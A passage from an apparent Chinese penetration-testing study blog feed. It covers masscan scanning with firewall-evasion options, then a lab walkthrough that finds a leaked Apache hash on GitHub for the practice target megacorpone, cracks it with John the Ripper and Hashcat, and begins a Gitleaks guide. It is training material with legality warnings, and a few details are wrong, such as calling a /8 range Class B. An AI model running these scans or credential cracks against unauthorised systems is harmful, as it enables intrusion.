&lt;li&gt;&lt;code&gt;192.168.1.0/8&lt;/code&gt;：扫描整个B类私有网络（&lt;code&gt;192.0.0.0&lt;/code&gt; - &lt;code&gt;192.255.255.255&lt;/code&gt;），包含 &lt;strong&gt;1677万台主机&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不进行主机发现，直接扫描目标端口&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;通过SYN扫描发送TCP SYN包到目标80端口&lt;/li&gt;
&lt;li&gt;收到SYN/ACK响应则标记为开放&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;风险：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;扫描范围过大可能导致网络拥塞&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可能触发大规模安全告警&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;sudo masscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router-ip 192.168.1.1&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：对特定子网进行精确控制的扫描&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修正&lt;/strong&gt;：应为&lt;code&gt;masscan&lt;/code&gt;（非macscan）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关键参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p80&lt;/code&gt;：扫描80端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;192.168.1.0/24&lt;/code&gt;：扫描C类子网（254个主机）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rate=1000&lt;/code&gt;：限速1000包/秒&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e tap0&lt;/code&gt;：使用特定虚拟网络接口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--router-ip 192.168.1.1&lt;/code&gt;：指定网关IP用于ARP解析&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;向网关192.168.1.1发送ARP请求&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;获取目标主机MAC地址&lt;/li&gt;
&lt;li&gt;通过tap0接口发送定制SYN包&lt;/li&gt;
&lt;li&gt;严格按1000包/秒速率扫描&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="masscan-核心优势"&gt;Masscan 核心优势
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;特性&lt;/th&gt;
 &lt;th&gt;Masscan&lt;/th&gt;
 &lt;th&gt;Nmap&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;扫描速度&lt;/td&gt;
 &lt;td&gt;100万包/秒&lt;/td&gt;
 &lt;td&gt;数千包/秒&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;大型网络处理&lt;/td&gt;
 &lt;td&gt;内置分片处理&lt;/td&gt;
 &lt;td&gt;需要手动分割&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;资源消耗&lt;/td&gt;
 &lt;td&gt;低内存占用&lt;/td&gt;
 &lt;td&gt;较高内存占用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;扫描精度&lt;/td&gt;
 &lt;td&gt;端口状态检测&lt;/td&gt;
 &lt;td&gt;完整协议栈交互&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;隐蔽性&lt;/td&gt;
 &lt;td&gt;无状态扫描&lt;/td&gt;
 &lt;td&gt;有状态检测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="masscan-实用用法示例"&gt;Masscan 实用用法示例
&lt;/h3&gt;&lt;h4 id="1-基础扫描"&gt;1. 基础扫描
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 扫描单个IP的TOP100端口
sudo masscan 203.0.113.1 -p0-65535 --top-ports 100

# 扫描网段的多端口（HTTP/HTTPS）
sudo masscan 192.168.1.0/24 -p80,443,8000-8100
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-精准速率控制"&gt;2. 精准速率控制
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 限制扫描速率（避免触发防火墙）
sudo masscan 10.0.0.0/16 -p22 --rate=500 # 500包/秒

# 随机化扫描顺序
sudo masscan 192.168.0.0/24 -p80 --randomize-hosts
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-大型网络扫描优化"&gt;3. 大型网络扫描优化
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 分布式扫描（多文件分片）
sudo masscan 172.16.0.0/12 -p443 --shard 1/10 # 第1/10片段
sudo masscan 172.16.0.0/12 -p443 --shard 2/10 # 第2/10片段

# 保存/恢复扫描进度
sudo masscan -p80 10.0.0.0/8 -oJ scan.json --resume paused.conf
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-结果输出与处理"&gt;4. 结果输出与处理
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# XML格式输出（兼容Nmap工具）
sudo masscan 192.168.1.0/24 -p1-100 -oX scan.xml

# 提取开放端口IP
sudo masscan -p443 203.0.113.0/24 -oG - | grep &amp;#39;open&amp;#39; | awk &amp;#39;{print $4}&amp;#39;

# 生成可视化报告
masscan -p80 192.168.1.0/24 -oX scan.xml
nmap-parse-output scan.xml html &amp;gt; report.html
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="5-绕过防火墙技巧"&gt;5. 绕过防火墙技巧
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 伪装源端口（使用53端口发送）
sudo masscan -p80 203.0.113.0/24 --source-port 53

# 使用代理链扫描
proxychains masscan -p443 198.51.100.0/24

# 分片数据包
sudo masscan -p22 192.168.1.0/24 --mtu 512
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="使用场景对比"&gt;使用场景对比
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;场景&lt;/th&gt;
 &lt;th&gt;推荐命令&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;快速资产发现&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;masscan -p80,443 10.0.0.0/8 --rate=10000&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;精确服务扫描&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;nmap -sV -O 192.168.1.1-100&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;超大型网络端口普查&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;masscan 203.0.113.0/24 --shard 1/50&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;内网隐蔽扫描&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;nmap -T2 -sS -Pn --scan-delay 500ms&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="注意事项"&gt;注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：扫描前必须获得明确授权&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;带宽控制&lt;/strong&gt;：使用&lt;code&gt;--rate&lt;/code&gt;参数避免网络瘫痪&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果验证&lt;/strong&gt;：Masscan结果需用Nmap二次验证&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持久扫描&lt;/strong&gt;：大型网络使用&lt;code&gt;--resume&lt;/code&gt;保存进度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新数据库&lt;/strong&gt;：定期&lt;code&gt;apt update &amp;amp;&amp;amp; apt upgrade masscan&lt;/code&gt;获取最新指纹库&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day17 Kali开源信息收集</title><link>https://ruajingjing.top/post/day17-kali%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Fri, 30 May 2025 14:54:26 +0000</pubDate><guid>https://ruajingjing.top/post/day17-kali%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day17 Kali开源信息收集" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;上一篇文章中，我们用google语法搜索了Github上的该公司的员工信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:github.com &amp;#34;megacorpone.com&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530091800906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091800906.png"&gt;&lt;/p&gt;
&lt;p&gt;找到网页 &lt;a class="link" href="https://github.com/megacorpone" target="_blank" rel="noopener"
 &gt;https://github.com/megacorpone&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530091825268" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091825268.png"&gt;&lt;/p&gt;
&lt;p&gt;找到文件&lt;code&gt;megacorpone/xampp.users&lt;/code&gt; 发现疑似密码字段&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530091913811" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530091913811.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;trivera:&lt;span class="nv"&gt;$apr1$A0vSKwao$GV3sgGAj53j&lt;/span&gt;.c3GkS4oUC0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="密码破解与爆破"&gt;密码破解与爆破
&lt;/h2&gt;&lt;h3 id="-一哈希结构分析"&gt;🔍 一、哈希结构分析
&lt;/h3&gt;&lt;p&gt;加密字符串格式为：
&lt;code&gt;trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$apr1$&lt;/code&gt;：标识 Apache 特定的 MD5 算法变种（加盐迭代）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;A0vSKwao&lt;/code&gt;&lt;/strong&gt;：8字符盐值（Salt）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;GV3sgGAj...&lt;/code&gt;&lt;/strong&gt;：实际哈希值&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-二kali-破解方法"&gt;⚙️ 二、Kali 破解方法
&lt;/h3&gt;&lt;h4 id="方法-1john-the-ripper推荐"&gt;方法 1：John the Ripper（推荐）
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建哈希文件&lt;code&gt;hash.txt&lt;/code&gt;，内容为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;trivera:&lt;span class="nv"&gt;$apr1$A0vSKwao$GV3sgGAj53j&lt;/span&gt;.c3GkS4oUC0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动破解（自动识别&lt;code&gt;apr1&lt;/code&gt;格式）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;md5crypt-long hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或显式指定格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;apr1 hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用字典加速（如 Kali 内置&lt;code&gt;rockyou.txt&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530094321163" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094321163.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;john --show hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出示例：trivera:password123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530094538062" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094538062.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530094614454" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530094614454.png"&gt;&lt;/p&gt;
&lt;p&gt;爆破得到密码&lt;code&gt;trivera:Tanya4life&lt;/code&gt;可能是ssh登录的。&lt;/p&gt;
&lt;h4 id="方法-2hashcatgpu-加速"&gt;方法 2：Hashcat（GPU 加速）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;提取哈希部分（移除用户名和盐标识）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0&amp;#39;&lt;/span&gt; &amp;gt; hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动破解（&lt;code&gt;-m 1600&lt;/code&gt;对应&lt;code&gt;apr1&lt;/code&gt;模式）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;0&lt;/span&gt; hash.txt /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat --show -m &lt;span class="m"&gt;1600&lt;/span&gt; hash.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-三性能优化技巧"&gt;⚡ 三、性能优化技巧
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字典选择&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;优先使用&lt;code&gt;rockyou.txt&lt;/code&gt;（需解压）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自定义字典：结合目标信息生成（如公司名、日期等）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;规则扩展&lt;/strong&gt;：
在 Hashcat 中使用规则增强字典覆盖：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;0&lt;/span&gt; hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;暴力破解（最后手段）&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 尝试 6-8 位小写字母+数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;3&lt;/span&gt; hash.txt ?l?l?l?l?l?l?d?d --increment
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-四注意事项"&gt;⚠️ 四、注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;合法性&lt;/strong&gt;：仅限破解自有或授权数据！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;成功率：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;简单密码（如&lt;code&gt;password123&lt;/code&gt;）可能在几分钟内破解&lt;/li&gt;
&lt;li&gt;复杂密码（12位+特殊字符）需数天甚至不可行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;算法特性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;apr1&lt;/code&gt;基于 MD5，但迭代 1000 次增加破解难度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;盐值（&lt;code&gt;A0vSKwao&lt;/code&gt;）防止彩虹表攻击&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;提示&lt;/strong&gt;：若以上方法失败，可尝试组合工具（如先用 John 初步筛选，再用 Hashcat GPU 深度破解）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-附相关命令速查"&gt;📚 附：相关命令速查
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;操作&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Hashcat&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;基础破解&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat -m 1600 hash.txt dict&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;指定字典&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john --wordlist=dict.txt hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat -a 0 hash.txt dict&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;显示结果&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john --show hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat --show -m 1600 hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;建议优先使用 &lt;strong&gt;John the Ripper&lt;/strong&gt; 进行快速尝试，复杂场景切换 &lt;strong&gt;Hashcat + GPU&lt;/strong&gt; 加速。&lt;/p&gt;
&lt;h2 id="gitleaks和gitrob使用方法"&gt;Gitleaks和GitRob使用方法
&lt;/h2&gt;&lt;h3 id="一gitleaks敏感信息检测工具"&gt;&lt;strong&gt;一、GitLeaks：敏感信息检测工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="核心功能"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;扫描 Git 仓库中的硬编码密码、API 密钥、令牌等敏感信息，支持本地仓库、远程仓库及 CI/CD 集成。&lt;/p&gt;
&lt;h4 id="安装方法"&gt;&lt;strong&gt;安装方法&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kali安装&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Docker 部署&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拉取镜像&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker pull ghcr.io/gitleaks/gitleaks:latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描本地目录（将 /path/to/code 替换为代码路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;docker run -v /path/to/code:/scan_dir ghcr.io/gitleaks/gitleaks detect --source &lt;span class="s2"&gt;&amp;#34;/scan_dir&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Homebrew&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;brew install gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gitleaks detect --source .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitHub Action 集成&lt;/strong&gt;：
在 CI 流程中添加以下步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GitLeaks Scan&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;gitleaks/gitleaks-action@v2&lt;/span&gt;&lt;span class="w"&gt;
